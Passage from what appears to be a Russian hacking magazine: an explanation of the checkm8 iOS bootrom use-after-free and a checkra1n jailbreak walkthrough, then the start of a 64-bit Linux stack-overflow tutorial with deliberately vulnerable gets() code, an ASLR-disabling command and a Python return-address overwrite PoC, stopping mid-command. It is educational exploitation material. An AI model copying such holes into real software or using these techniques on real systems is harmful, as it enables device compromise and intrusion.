вра га  яблочных  мобиль ных  устрой ств  —  вре донос ных  прог рамм  и  джей‐ 
лбрей ков. В SecureROM вшит крип тогра фичес кий ключ Apple, исполь зуемый
для  рас шифров ки  обра зов,  которые  задей ство ваны  на  пос леду ющих  эта пах
заг рузки, а так же име ется необ ходимый инс тру мен тарий для работы с крип‐ 
тоал горит мами.  Получив  управле ние  от  SecureROM,  заг рузчик  iBoot  рас‐ 
шифро выва ет и запус кает ядро опе раци онной сис темы, пос ле чего заг ружа‐ 
ется образ самой iOS с гра фичес ким интерфей сом поль зовате ля. Одна ко все
эти эта пы запус ка  iPhone или  iPad выпол няют ся,  толь ко если ини циали зация
SecureROM прош ла успешно.

Так выг лядят «эта пы боль шого пути» — заг рузки устрой ства с iOS

Имен но  поэто му  все  сущес тво вав шие  до  откры тия  checkm8  джей лбрей ки
ста рались  вся чес ки  обой ти  этот  механизм.  Ведь  их  пер вооче ред ная
задача — заг рузить про пат ченный образ  iOS, допус кающий уста нов ку прог‐ 
рамм из сто рон них источни ков, чего не дол жно про исхо дить с исполь зовани‐ 
ем  SecureROM,  сто яще го  на  стра же  безопас ной  заг рузки.  Имен но  пол ный
кон троль над про цес сом запус ка опе раци онной сис темы гаран тиру ет невоз‐ 
можность  про ник новения  на  устрой ство  все воз можных  бут китов,  рут китов
и  про чей  подоб ной  мал вари,  отсутс тви ем  которой  всег да  и  сла вилась
мобиль ная плат форма от Apple.

ПРОТОКОЛ DFU
Как  уже  упо мина лось,  режим  вос ста нов ления  яблочно го  девай са  DFU
исполь зует ся,  если  невоз можна  штат ная  заг рузка  айфо на  или  айпа да,
и  допус кает  обмен  дан ными  меж ду  компь юте ром  и  устрой ством  через
интерфейс USB. Для орга низа ции это го обме на в Купер тино при дума ли спе‐ 
циаль ный  про токол  DFU.  С  его  помощью  мож но  залить  на  окир пичен ный
айфон новую про шив ку, вос ста новить телефон из резер вной копии или обно‐ 
вить опе раци онную сис тему.

Про токол DFU заг ружа ет с компь юте ра на яблочный девайс бло ки дан ных
с обра зом про шив ки по зап росу  . Ког да заг рузка пол ностью завер‐ 
шает ся,  зап рашива ется  сос тояние  устрой ства,  пос ле  чего  соеди нение
по  USB  раз рыва ется,  устрой ство  выходит  из  режима DFU,  переза пус кает ся
и  пыта ется  заг рузить  получен ный  образ  про шив ки.  Это  если  про цесс  про‐ 
тека ет в штат ном режиме. Одна ко иссле дова тели замети ли, что вый ти из DFU
мож но  и  дру гими  спо соба ми,  нап ример  по  зап росу    (DFU  abort).
В этом слу чае выпол няет ся фор сирован ное завер шение режима вос ста нов‐ 
ления устрой ства.

0x21, 1

0x21,  4

При  переда че  дан ных  про токол  DFU  исполь зует  режим,  который  носит
наиме нова ние USB Control Transfer. Соеди нение ини циали зиру ется с исполь‐ 
зовани ем  уста новоч ного  пакета  (Setup  Stage)  дли ной  8  байт,  струк тура
которо го показа на на сле дующей кар тинке.

Струк тура уста новоч ного пакета USB Control Transfer

Наз начение всех полей это го пакета нам сей час не прин ципи аль но — кро ме
самого  пос ледне го.  Если  зна чение wLength  ненуле вое,  сра зу  за  уста новоч‐ 
ным  пакетом  сле дует  ста дия  дан ных  (Data  Stage),  то  есть  дан ные  пой дут
с  компь юте ра  на  устрой ство  или  обратно  (нап равле ние  опре деля ется  зна‐ 
чени ем  ).  Эти  дан ные  переда ются  пос ледова тель но  фраг‐ 
мента ми раз мером от 8 до 64 байт  в  зависи мос ти от  ско рос ти USB‐соеди‐ 
нения. Сес сия переда чи дан ных завер шает ся ста дией про вер ки ста туса тран‐ 
закции  (Status Stage),  на  которой  сто роны обме нива ются  пакета ми  нулевой
дли ны.

bmRequest  Type

В USB‐сте ке iBoot вре мен ный буфер выделя ется в момент ини циали зации
USB и пакеты, переда ваемые в фазе дан ных, заг ружа ются в него непос редс‐ 
твен но  «на вхо де». Важ ный момент сос тоит  в  том,  что USB‐стек вклю чает ся
сра зу,  как  толь ко  устрой ство  перехо дит  в  режим  DFU.  Выделен ный  буфер
исполь зует ся для вре мен ного хра нения информа ции на ста дии дан ных. Пос‐ 
ле переда чи управле ния ука затель на этот буфер (и раз мер ожи даемых дан‐ 
ных)  копиру ется  в  гло баль ную  перемен ную,  которую  USB‐стек  исполь зует
как мес то  наз начения для  пакетов,  пос тупа ющих на  устрой ство  в фазе дан‐ 
ных. Как толь ко устрой ство выходит из режима DFU, USB‐стек сно ва вык люча‐ 
ется. Одна ко  гло баль ная  перемен ная  при  этом не обну ляет ся!  Таким обра‐ 
зом  иссле дова тели  нащупа ли  клас сичес кую  уяз вимость  типа  Use‐after‐Free
(UaF).

INFO

Уяз вимость  типа  Use‐after‐Free  обус ловле на
метода ми  вза имо дей ствия  с  динами чес кой
памятью,  или  кучей  (heap).  Под робнее  об  этом
типе  уяз вимос тей  мож но  про читать,  нап ример,

.здесь

УЯЗВИМОСТЬ
В этом и кро ется баг, лежащий в осно ве checkm8. Если отпра вить на устрой‐ 
ство  зап рос  Setup  Stage,  ини цииро вать  переда чу  дан ных,  но,  не  начав  эту
самую  переда чу,  отпра вить  девай су  зап рос  DFU  abort  ( )  на  фор‐ 
сирован ный  выход  из  DFU,  то  устрой ство  попыта ется  сно ва  запус тить ся
в режиме DFU и завер шить прер ванную сес сию. При этом сос тояние памяти
оста нет ся  ини циали зиро ван ным  и  мы  получа ем  воз можность  передать
на устрой ство, заг рузить в память и выпол нить про изволь ный код по адре су
буфера, выделен ного до момен та пре дыду щего выхода устрой ства из DFU.

0x21,  4

Пос коль ку  вся  прог рамма,  обес печива ющая  выделе ние  буфера,  работу
с кучей и струк турами задач, хра нит ся в SecureROM и исполня ется на аппа‐ 
рат ном уров не, пофик сить эту ошиб ку поп росту невоз можно. Шах и мат!

При меча тель но,  что  на  девай сах  с  32‐раз рядным  ROM  (A7,  A10,  A10X,
A11 и A11X) ука зан ный механизм не работа ет, пос коль ку буфер там алло циру‐ 
ется вся кий раз в одном и том же мес те при каж дой ини циали зации USB‐сте‐ 
ка.  Тем  не  менее  axi0mX  нашел  спо соб  обой ти  такую  пре доп ределен ность
с  исполь зовани ем  пра виль но  подоб ранно го  сце нария  экс плу ата ции Use‐af‐
ter‐Free.

Для это го он исполь зовал то обсто ятель ство, что сис тема одновре мен но
может  ини циали зиро вать  нес коль ко  USB‐передач.  Нап ример,  в  ответ
на некото рые зап росы устрой ство не смо жет отпра вить дан ные, если получа‐ 
тель занят, до тех пор, пока конеч ная точ ка (endpoint) не осво бодит ся или не
будет сбро шен USB, то есть не будут устра нены усло вия бло киров ки. Отправ‐ 
ленные  в  таком  сос тоянии  зап росы  попада ют  в  оче редь.  Пос ле  устра нения
бло киров ки  выпол няет ся  обход  оче реди  и  все  зап росы  пооче ред но  завер‐ 
шают ся.  Информа ция  о  конеч ной  точ ке  (endpoint)  обну ляет ся,  а  зап росы
нулевой дли ны оста ются  в  куче.  Управляя  зап росами и  тайм‐аута ми,  теоре‐ 
тичес ки  мож но  соз дать  такие  усло вия фор мирова ния  кучи,  которые  в  ито ге
пов лияют на сле дующее выделе ние памяти при соз дании буфера.

Обоб щая,  мож но  ска зать,  что  из‐за  най ден ной  в  SecureROM  ошиб ки
в механиз ме  соз дания  и  унич тожения USB‐сте ка  про исхо дит  утеч ка  памяти,
которая может исполь зовать ся для фор мирова ния сос тояния кучи, дающе го
воз можность  управлять  выделе нием  памяти  при  раз мещении  буфера.
В резуль тате с помощью UaF мож но выпол нить запись в выделен ную память
для  получе ния  кон тро лиру емо го  кос венно го  перехо да  (controlled  indirect
branch) при выходе из DFU.

CHECKMATE
По прин ципу сво его дей ствия исполь зующий эту уяз вимость экс пло ит check‐
m8  —  типич ный  бут кит.  Основная  его  задача  сос тоит  в  том,  что бы  дать
устрой ству нор маль но заг рузить ся, но при этом ском про мети ровать  каж дое
зве но в цепоч ке заг рузки пос ле того, как отра бота ет BootROM.

В нор маль ном режиме BootROM переда ет управле ние заг рузчи ку (iBoot),
который заг ружа ет в память ядро iOS и переда ет управле ние на точ ку вхо да.
Цель соз дателей спло ита — про пат чить ядро до того, как этот про цесс завер‐ 
шится.

Во вре мя работы iBoot исполь зует спе циаль ный режим (его называ ют boot
trampoline),  который  ненадол го  воз вра щает  про цес сор  в  «осо бое»  сос‐ 
тояние:  кеш  сбро шен,  все  регис тры  уста нов лены  в  ноль,  MMU  отклю чен.
Коман да checkra1n раз работа ла осо бый метод раз мещения в памяти устрой‐ 
ства  шелл‐кода  и  научи лась  исполь зовать  хуки  при  вызове  некото рых  фун‐ 
кций заг рузчи ка, что бы зас тавить его выпол нить полез ную наг рузку.

В  ито ге  заг рузчик  под готав лива ет  ядро  и  перево дит  про цес сор  в  сос‐ 
тояние boot trampoline перед вызовом точ ки вхо да. Но вмес то нее с помощью
хука  управле ние  переда ется  на  заранее  заг ружен ный  в  память  шелл‐код.
Теперь мож но спо кой но пат чить ядро.

Од нако  прос то  про пат чить  ядро  недос таточ но:  ког да  оно  заг рузит ся,
необ ходимо  сох ранить  код  в  поль зователь ском режиме,  что бы мож но было
выпол нить джей лбрейк. Для это го шелл‐код соз дает в памяти малень кий вир‐ 
туаль ный диск, что бы перех ватить выпол нение команд в режиме EL0. Это поз‐ 
воля ет  изме нить  дерево  устрой ств  и  струк туру  аргу мен тов  заг рузки  ядра
и потом исполь зовать его в качес тве кор невого устрой ства. Для реали зации
этой идеи пар ням даже приш лось написать собс твен ный динами чес кий ком‐ 
понов щик.

Для  мон тирова ния  кор невой  фай ловой  сис темы  поверх    исполь зует ся
.  При  этом  при меня ется 

(union mounting), что бы слу чай но не обру шить  . Пос ле всех этих манипу‐ 
ляций мож но запус кать про изволь ный код с иден тифика тором PID 1, преж де
чем  будет  запущен  .  Такой  код  ини циали зиру ется  ядром  iOS
перед  все ми  пос леду ющи ми про цес сами и  явля ется  для  них  родитель ским.
Само собой, он обла дает соот ветс тву ющи ми сис темны ми при виле гиями.

/
syscall(3) кас кадно‐объ еди нен ное  мон тирова ние

vnode

launchd

Ню анс  в  том,  что  на  дан ном  эта пе  смон тирован ная  кор невая  фай ловая
сис тема дос тупна толь ко для чте ния, а для нор маль ной работы джей лбрей ка
нуж но дроп нуть в ФС нес коль ко фай лов, что бы получить дос туп к шел лу  iOS
и  поз волить  поль зовате лю  уста новить  менед жер  пакетов.  То  есть  необ‐ 
ходимо получить дос туп к  , для чего сна чала ини циали зиро вать
механизм Data Рrotection, за который отве чает launchd.

/private/var

Что бы  добить ся  нуж ного  резуль тата,  с  исполь зовани ем  того  же  union
mounting поверх   мон тиру ется еще один   с целью пере‐ 
опре делить какой‐нибудь из сис темных демонов. В качес тве жер твы был выб‐ 
ран  sysstatuscheck,  пос коль ку  этот  демон  запус кает ся  в  раз личных  вер сиях
iOS в нуж ный момент — в начале заг рузоч ного про цес са, но дос таточ но поз‐ 
дно,  что бы  вклю чить  Data  Рrotection.  Ког да  задача  выпол нена,  .dmg‐образ
при нуди тель но раз монти рует ся.

/usr/libexec/ .dmg

Даль ше мож но поз волить launchd про дол жить заг рузку в штат ном режиме.
Пос ле вклю чения usbmux и заг рузки всех необ ходимых ути лит, поз воля ющих
поль зовате лю уста новить пра виль ный bootstrap в сво ей  кор невой фай ловой
сис теме,  мож но  запус кать  демон  SSH  и  выпол нять  джей лбрейк.  Дело  сде‐ 
лано!

КАК ИСПОЛЬЗОВАТЬ CHECKM8
Итак,  мы  обсу дили  тех ничес кие  прин ципы,  на  которых  базиру ется  checkm8.
Нас тало вре мя взять в руки айфон с  iOS 13 и пос мотреть,  как она работа ет
на прак тике.

Пос коль ку checkra1n все еще находит ся в ста дии беты, он годит ся далеко
не  для  любых  устрой ств  Apple.  Теоре тичес ки  с  исполь зовани ем  checkra1n
мож но  взло мать  все  айфо ны,  начиная  с  iPhone  5S  и  закан чивая  iPhone  X,
а  так же  план шетные  компь юте ры  Apple.  Но  де‐фак то  он  точ но  не  работа ет
на iPad пер вого, пятого поколе ния,  iPad Air 2,  iPad Air 3,  iPad Pro (11, 12.9‐3G)
и  iPad  mini  5.  Кро ме  того,  с  помощью  checkra1n  не  получит ся  взло мать
устрой ства, обо рудо ван ные про цес сором A12, A12X и A13, то есть iPhone XR,
XS, XS Max, 11, 11 Pro, 11 Pro Max.

Под дер жка  iPhone  5S  соз дателя ми  джей ла  заяв ляет ся,  но  не  гаран тиру‐ 
ется.  Рас смат рива емый  метод  прек расно  работа ет  с    iOS  вер сий  13.0—
13.2.2, для более ран них редак ций мобиль ной плат формы Apple мож но вос‐ 
поль зовать ся инс трук цией из нашей  .пре дыду щей статьи

Сheckra1n —  это    джей лбрейк  (semi‐untethered  jailbreak),
который сле тит пос ле перезаг рузки или отклю чения питания устрой ства. Если
по  какой‐либо  при чине  ты  решишь  вык лючить  свой  айфон,  прог рамму
на  телефо не,  уста нов ка  которой  опи сана  в  этой  статье,  при дет ся  запус тить
заново.

по луот вязан ный

WARNING

Вся информа ция в этой статье при веде на исклю‐ 
читель но  в  обра зова тель ных  целях.  Автор
и  редак ция  не  несут  никакой  ответс твен ности
за любые пос ледс твия исполь зования опи сан ных
здесь дей ствий. Пом ни: выпол няя любые манипу‐ 
ляции  со  сво им  смар тфо ном,  ты  дей ству ешь
исклю читель но на свой страх и риск.

Как и в слу чае с iOS 12, исполь зовать checkra1n невоз можно на неак тивиро‐ 
ван ном  и  заб локиро ван ном  устрой стве.  Если  ты  забыл  пароль  от  учет ной
записи Apple ID, самое вре мя вспом нить или вос ста новить его.

Для успешно го взло ма яблочно го девай са нам понадо бит ся сам девайс,
компь ютер или мак бук под управле нием macOS (в нас тоящий момент джейл
запус кает ся  толь ко  в  этой  сис теме,  ути лита  для  Windows  и  Linux  находит ся
в ста дии раз работ ки) и при мер но пол часа сво бод ного вре мени. Итак, прис‐ 
тупим.

Продолжение статьи →
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ШАХ И МАТ
КАК УСТРОЕН НАШУМЕВШИЙ ЭКСПЛОИТ
CHECKM8 И КАК ИМ ВОСПОЛЬЗОВАТЬСЯ

COVERSTORY  НАЧАЛО СТАТЬИ←

Под готов ка
Что бы  обе зопа сить  себя  от  неп рият ных  неожи дан ностей,  сде лай  на  вся кий
слу чай резер вную копию сво его телефо на. Для это го запус ти на компь юте ре
iTunes, под клю чи к нему iPhone при помощи шну ра и под твер ди на компь юте‐ 
ре и телефо не довери тель ные отно шения связ ки этих устрой ств.

До вери тель ные отно шения нуж но под твер дить сна чала на компь юте ре…

...потом на самом iPhone

В  окне  iTunes  щел кни  мышью  на  знач ке  телефо на  в  вер хней  час ти  левой
панели и в окне «Обзор» уста нови перек лючатель «Авто мати чес кое соз дание
копий» в положе ние «Этот компь ютер», пос ле чего наж ми на кноп ку «Соз дать
копию сей час».

Соз даем резер вную копию iPhone

Те перь  необ ходимо  отклю чить  на  телефо не  бло киров ку  сис темы  паролем,
Touch  ID  и  Face  ID.  Для  это го  перехо дим  в  «Нас трой ки»,  откры ваем  раз дел
«Touch  ID и код‐пароль», вво дим код‐пароль (если он есть), пос ле чего вык‐ 
люча ем эти методы авто риза ции. Код‐пароль,  кста ти,  тоже луч ше на вся кий
слу чай отклю чить.

От клю чаем Touch ID и код‐пароль

WARNING

Для успешно го завер шения про цеду ры не запус‐ 
кай  при ложе ние  iTunes  до  окон чания  про цес са
взло ма!

Все, боль ше никаких допол нитель ных дей ствий не пот ребу ется. Мож но прис‐ 
тупать к джей лбрей ку.

Джей лбрейк
На компь юте ре с macOS открой в бра узе ре ссыл ку 
и ска чай акту аль ную вер сию ути литы — на момент написа ния статьи это была
вер сия  0.9.5  beta.  Под клю чи  телефон  к  устрой ству  с  помощью  USB‐шну ра
и  запус ти  ска чан ное  при ложе ние.  Смон тируй  dmg‐образ  в  сис теме,  пос ле
чего  в  открыв шемся  окне  перета щи  мышью  зна чок  checkra1n  в  пап ку
Applications.

https://checkra.in/releases/

Ус танав лива ем ути литу джей лбрей ка

Ес ли  твоя  macOS  нас тро ена  по  умол чанию  (то  есть  нем ного  стра дает
параной ей),  сис тема  не  поз волит  запус тить  при ложе ние,  заг ружен ное
из интерне та. Что бы вос поль зовать ся checkra1n, открой пап ку «При ложе ния»
(Applications) и щел кни мышью на знач ке прог раммы, удер живая кла вишу Ctrl,
пос ле чего в появив шемся диало говом окне наж ми на кноп ку «Открыть».

Прог рамма успешно запус тилась

Жмем  Start.  При ложе ние  сооб щит  нам  о  том,  что  мы  дол жны  перевес ти
телефон  в  режим  DFU,  но  перед  этим  необ ходимо  перек лючить  его
в  защищен ный  режим.  Прог рамма  сде лает  это  авто мати чес ки.  Нажима ем
на кноп ку Next и дожида емся, пока на экра не аппа рата не воз никнет вот такая
веселая кар тинка.

Те лефон перешел в защищен ный режим

Те перь  нам  пред сто ит  самое  инте рес ное.  Для  выпол нения  сле дующе го
упражне ния нуж но вклю чить на  телефо не режим DFU,  так что при дет ся при‐ 
менить всю име ющуюся в тво ем арсе нале лов кость и ско рость реак ции.

Пе рево дим телефон в режим DFU

Оты щи на сво ем телефо не кноп ку вклю чения питания (на моем iPhone 7 она
находит ся  на  пра вой  боковин ке  кор пуса)  и  кноп ку  умень шения  гром кости
(она рас полага ется на левой боковин ке). Не отклю чая телефон от компь юте‐ 
ра, щел кни мышью на кноп ке Start в окне checkra1n, пос ле чего быс тро наж ми
и удер живай обе кноп ки.

При мер но  через  4  секун ды,  ког да  в  окне  прог раммы появит ся  соот ветс‐ 
тву ющая коман да, отпусти кноп ку питания, но про дол жай удер живать кноп ку
умень шения гром кости еще в течение при мер но 10 секунд. Ой, получи лось —
имен но такое изоб ражение мы видели на выложен ных в Сети виде оро ликах,
демонс три рующих экс плу ата цию уяз вимос ти checkm8!

Ма гия в дей ствии…

WARNING

На  раз ных  моделях  iPhone  и  iPad  вклю чение
режима  DFU  может  осу щест влять ся  нем ного
по‐раз ному. Во избе жание сюр при зов точ но сле‐ 
дуй инс трук циям, демонс три руемым в окне прог‐ 
раммы checkra1n, а еще луч ше — заранее загуг‐ 
ли, как вклю чает ся DFU на тво ем аппа рате.

Те лефон  авто мати чес ки  перезаг рузит ся,  пос ле  чего  в  окош ке  checkra1n
появит ся сооб щение о том, что джей лбрейк про шел успешно. Наж ми Done.

Джейл удал ся

Те перь мож но отсо еди нить телефон от компь юте ра. Резуль татом всех наших
манипу ляций  ста ло  появ ление  знач ка  при ложе ния  checkra1n  на  самом
телефо не.

Прог рамма checkra1n теперь живет в тво ем айфо не

За пус ти эту прог рамму. В сво ей нынеш ней вер сии она пред лага ет не так уж
мно го воз можнос тей, вер нее, все го одну: ска чать уста нов щик пакетов Cydia.
Наж ми на зна чок Cydia, затем — на над пись Install Cydia в ниж ней час ти окна
и  дож дись,  пока  при ложе ние  заг рузит ся  и  уста новит ся  на  телефон.  Пос ле
это го мож но вый ти из checkra1n и запус тить Cydia с помощью знач ка на экра‐ 
не iOS.

А вот и резуль тат всех наших тру дов!

ВЫВОДЫ
Как видишь, джей лбрейк iOS 13 с checkm8 и checkra1n прост, как дваж ды два,
одна ко  сто ит  пом нить,  что  в  текущем  виде  это  по‐преж нему  бета. С  нетер‐ 
пени ем  ждем  момен та,  ког да  раз работ чики  выпус тят  новую  вер сию,  сов‐ 
мести мую  с  дру гими  плат форма ми,  как  минимум  —  с  Windows,  а  так же
добавят в лоадер поболь ше полез ных фун кций.

Те оре тичес ки у это го экс пло ита широкие пер спек тивы: нап ример, мож но
попытать ся  орга низо вать  на мобиль ном  устрой стве Apple  что‐то  вро де dual
boot или, чем черт не шутит, вод рузить на него какую‐нибудь кас томную сбор‐ 
ку опе раци онной сис темы.

https://checkra.in/releases/
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В этой статье мы рас смот рим осо бен ности
перепол нения  сте ка  в  64‐бит ном  Linux.
Сде лаем мы это на при мере тас ка Bitterman
с  сорев нования  .
С помощью модуля pwntools для Python мы
пос тро им  экс пло ит,  в  котором  будут  при‐ 
мене ны  тех ники  Return‐oriented  program‐
ming  (для  обма на  зап рета  исполне ния
DEP/NX)  и  Return‐to‐PLT  —  для  бай паса
механиз ма  ран домиза ции  адре сов  ASLR
без брут форса.
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В королевс тве PWN
В  этом  цик ле  ста тей  мы  изу чаем  раз ные  аспекты  атак  типа  «перепол нение
сте ка». Читай так же:

« »• Пре пари руем клас сику перепол нения буфера в сов ремен ных усло виях
« »• Об ходим DEP и брут форсим ASLR на вир туал ке с Hack The Box
«

»
• Ата ка ret2bss, крип тоора кулы и реверс‐инжи ниринг на вир туал ке Smasher
с Hack The Box

ЛИКБЕЗ ПО СРЫВУ СТЕКА НА X86-64
Я сос тавил целых три импро визи рован ных кей са, пооче ред но изу чив которые
ты получишь необ ходимые зна ния для PWN’а бинар ника Bitterman.

Пер вый кейс покажет отли чия экс плу ата ции Stack Smashing от этой же ата‐ 
ки в 32‐бит ной ОС  (о  которой мы  говори ли  )  в слу чае,
ког да  у  наруши теля  есть  воз можность  раз местить  и  выпол нить  шелл‐код
в адресном прос транс тве сте ка, — то есть с отклю чен ными защита ми DEP/NX
и ASLR.

в пер вой час ти цик ла

Вто рой  кейс поможет разоб рать ся в про веде нии ата ки  ret2libc на  x86‐64
(ее 32‐бит ный ана лог был рас смот рен  ). Здесь мы обсу дим,
какие  регис тры  исполь зует  64‐бит ный  ассем блер  Linux  при  фор мирова нии
сте ковых кад ров, а так же пос мотрим, что собой пред став ляет кон цепция Re‐
turn‐oriented programming (ROP). Механизм DEP/NX акти вен, ASLR — нет.

во вто рой час ти

В  треть ем  кей се  я  покажу  вари ацию  ROP‐ата ки,  цель  которой —  стриг‐ 
герить  утеч ку  адре са  заг рузки  раз деля емой  биб лиоте ки  libc  (методи ка  Re‐
turn‐to‐PLT,  или  ret2plt)  для  обхо да  ASLR  без  необ ходимос ти  запус кать
перебор. DEP/NX и ASLR активны.

От пос ледне го эта па мы перей дем непос редс твен но к иссле дова нию Bit‐
terman,  который к это му момен ту  уже не будет пред став лять для  тебя слож‐ 
ности.

Стенд
Для  этой  статьи  я  уста новил  све жую  64‐бит ную    с  GCC  вер‐ 
сии 8.3.0.

Ubuntu  19.10

 

 

 uname ‐a 
Linux pwn‐3 5.0.0‐31‐generic #33‐Ubuntu SMP Mon Sep 30 18:51:59 UTC 2019 
x86_64 x86_64 x86_64 GNU/Linux

$

Из допол нитель ного ПО я взял интер пре татор Python 2.7, который перес тали
пос тавлять по умол чанию с дис три бути вом (все перехо дят на третью вер сию
Python).

 

 

 sudo apt install python2.7 ‐y 
 sudo update‐alternatives ‐‐install /usr/bin/python2 python2 
/usr/bin/python2.7 1

$
$

Вто рая  вер сия  при годит ся  нам  для  модуля  pwntools,  который  мы  пос тавим
чуть поз же.

Воору жение GDB
В  прош лых  стать ях  мы  исполь зовали    в  качес тве  основно го  обве са
для  дебаг гера,  одна ко  я  знал,  что  уже  есть  более  прод винутые  тул зы
для  апгрей да  GDB  (к  тому  же  PEDA  боль ше  не  под держи вает ся  раз работ‐ 
чиком),  а  имен но    и  .  Изу чая  эти  инс тру мен ты,  я  нашел  изоб‐ 
ретатель ный  ,  в  котором рас ска зыва ется,  как одновре мен но  уста новить
эти соф тины и перек лючать ся меж ду ними одним нажати ем. Мне пон равилась
идея,  но  не  реали зация,  поэто му  я  наб росал  свой  ,  поз воля ющий
в одно дей ствие  инстал лировать  все  три  ассистен та.  Теперь  каж дый из  них
будет запус кать ся сле дующи ми коман дами соот ветс твен но.

PEDA

GEF pwndbg
пост

скрипт

$ gdb‐peda [ELF‐файл]
$ gdb‐gef [ELF‐файл]
$ gdb‐pwndbg [ELF‐файл]

Для этой статьи мы про дол жим юзать PEDA, потому что с ним удоб нее все го
делать скрин шоты.

Кейс 1. Клас сичес кий срыв сте ка
Уяз вимый исходный код.

/**
* Buffer Overflow (64‐bit). Case 1: Classic Stack Smashing
* Compile: gcc ‐g ‐fno‐stack‐protector ‐z execstack ‐no‐pie ‐o 

classic classic.c
* ASLR: Off (sudo sh ‐c 'echo 0 > /proc/sys/kernel/randomize_va_sp

ace')
*/

#include <stdio.h>

void vuln() {
 char buffer[100];
 gets(buffer);

}

int main(int argc, char* argv[]) {
 puts("Buffer Overflow (64‐bit). Case 1: Classic Stack Smashing\n");
 vuln();

 return 0;
}

В наших изыс кани ях все му виной будет фун кция  , содер жащая вызов уяз‐ 
вимой  про цеду ры  чте ния  из  буфера  ,  которая  уже  ста ла  эта лоном
небезо пас ного кода.

vuln
gets

Never use gets(). Because it is impossible to tell without knowing the data
in advance how many characters gets() will read, and because gets() will
continue  to  store  characters  past  the  end  of  the  buffer,  it  is  extremely
dangerous  to  use.  It  has  been  used  to  break  computer  security.  Use
fgets() instead.

Как видишь, даже     о том, что ни в каких слу чаях не сле дует исполь‐ 
зовать  ,  ведь  этой  фун кции  нап левать  на  раз мер  передан ного  ей
буфера — она про чита ет из него все, пока содер жимое не кон чится.

man кри чит
gets

Ском пилиру ем  прог рамму  без  зап рета  исполне ния  дан ных  в  сте ке
и отклю чим ASLR.

 

 

 gcc ‐g ‐fno‐stack‐protector ‐z execstack ‐no‐pie ‐o classic classic.c 
 sudo sh ‐c 'echo 0 > /proc/sys/kernel/randomize_va_space'
$
$

Под готов ка исполня емо го фай ла classic для пер вого кей са

По лучив  пор цию  негодо вания  от  GCC  из‐за  исполь зования  ,  мы  соб‐ 
рали 64‐бит ный исполня емый файл  .

gets
classic

Про вер ка безопас ности исполня емо го фай ла classic

Скрипт  ,  иду щий  в  ком плек те  с  модулем  pwntools  и  дос тупный
из коман дной стро ки, говорит о том, что бинарь никак не защищен. Это нам
и нуж но для демонс тра ции пер вого кей са.

checksec.py

За пус тим отладчик и поп робу ем получить кон троль над регис тром RIP (он
отве чает  за  хра нение  адре са  воз вра та)  в  момент  завер шения  работы фун‐ 
кции  .vuln

Некото рые изме нения в логике x86-64
Ре гис тры про цес сора:

все регис тры обще го наз начения рас ширены до 64 бит:  , 
,  ,  ,  ,  ,    (база  сте‐ 

ково го кад ра),   (вер шина сте ка);

• EAX>RAX EBX>

RBX ECX>RCX EDX>RDX ESI>RSI EDI>RDI EBP>RBP

ESP>RSP

вве дено восемь допол нитель ных регис тров обще го наз начения:  ;• R8..R15

слу жеб ный регистр — ука затель на  текущую исполня емую коман ду  так же
рас ширен до 64 бит:  .

•
EIP>RIP

Па мять:
раз мер ука зате ля стал равен вось ми бай там;•
инс трук ции  работы  со  сте ком    и    опе риру ют  зна чени ями  раз‐ 
мером восемь байт;

• push pop

  адре са  вир туаль ной  памяти  име ет  вид
  (то  есть,  в  сущ ности,  исполь зуют ся  толь ко шесть

наимень ших зна чащих байт).

• ка нони чес кая  фор ма
0x00007FFFFFFFFFFF

Фун кции:
ар гумен ты для фун кций теперь раз меща ются в регис трах и в сте ке. Пер‐ 
вые  шесть  аргу мен тов  пода ются  через  регис тры  в  поряд ке 

, пос леду ющие помеща ются в стек.

•
RDI,  RSI, 

RDX, RCX, R8, R9

Хо рошее чти во по теме: What happened when it goes to 64 bit?

Proof-of-concept
Как обыч но, будем поль зовать ся  , что бы сге нери ровать цик‐ 
личес кий  , который мы скор мим прог рамме.

pattern create
пат терн де Брёй на

Соз дание цик личес кого пат терна

Этим  дей стви ем,  как  и  пла ниро валось,  мы  выш ли  за  гра ницы  отве ден ного
буфера.

Пе репол нение буфера и вызов про цес сорно го исклю чения

Од нако  нес мотря  на  то,  что  отрывки  нашего  пат терна  мож но  наб людать
на сте ке (синий), адрес воз вра та (крас ный) переза писать не уда лось. Все му
виной  канони чес кая  фор ма  вир туаль ной  адре сации  ( ),
где задей ство ваны лишь млад шие 48 бит (6 байт). В том слу чае, если про цес‐ 
сор  видит  «некано ничес кий»  адрес  (в  котором  пер вые  два  зна чащих  бай та
отличны  от  нуля),  будет  выз вано  исклю чение,  и  кон тро ля  над  RIP  мы  точ но
не получим.

0x00007FFFFFFFFFFF

Что бы переза пись уда лась, пос мотрим, что находит ся в RSP, и пос чита ем
сме щение.

Рас чет сме щения до RIP

Нам  нуж но  120  байт,  что бы  доб рать ся  до  RIP.  Исхо дя  из  это го,  напишем
неболь шой  PoC‐скрипт  на  Python,  демонс три рующий  воз можность  переза‐ 
писи адре са воз вра та.

#!/usr/bin/env python2
# ‐*‐ coding: utf‐8 ‐*‐

# Использование: python pwn‐classic‐poc.py

import struct

def little_endian(num):
 """Упаковка адреса в формат little‐endian (x64)."""
 return struct.pack('<Q', num)

junk = 'A' * 120
ret_addr = little_endian(0xd34dc0d3)
payload = junk + ret_addr

with open('payload.bin', 'wb') as f:
 f.write(payload)

Ква лифи катор   упа кует нуж ный адрес в 64‐бит ный фор мат little‐endian.<Q

Ус пешная переза пись RIP «мер твым кодом»

Та ким обра зом, RIP под дает ся для переза писи про изволь ным зна чени ем.

Бо евой пей лоад
Что бы не мучить ся  с  вычис лени ем адре са  заг рузки шелл‐кода в  сте ке,  вос‐ 
поль зуем ся  тех никой  раз мещения  полез ной  наг рузки  в  перемен ной  окру‐ 
жения.

Идея  вкрат це:  адрес  любой  перемен ной  окру жения  может  быть  най ден
с помощью прос той прог раммы на C (фун кция  ), сле дова тель но, если
раз местить в такой перемен ной шелл‐код, то мож но точ но узнать его адрес,
что избавля ет хакера от необ ходимос ти возить ся с NOP‐сре зами. Инте рес но
то,  что  на  рас положе ние  шелл‐кода  отно ситель но  сте ково го  прос транс тва
прог раммы вли яет ее имя.

getenv

INFO

Под робнее  об  этой  тех нике  читай  в  кни ге  Hack‐
ing: The Art of Exploitation,  , с. 142.PDF

Кло ниру ем    с  нуж ным  исходни ком,  соберем  прог рамму  и  ини‐ 
циали зиру ем перемен ную окру жения     (29 байт).

ре пози торий
SHELLCODE этой наг рузкой

 

 

 git clone https://github.com/historypeats/getenvaddr tmp 
 mv tmp/getenvaddr.c . 
 gcc ‐o getenvaddr getenvaddr.c 
 rm ‐rf tmp/ getenvaddr.c 
 export SHELLCODE=

$
$
$
$
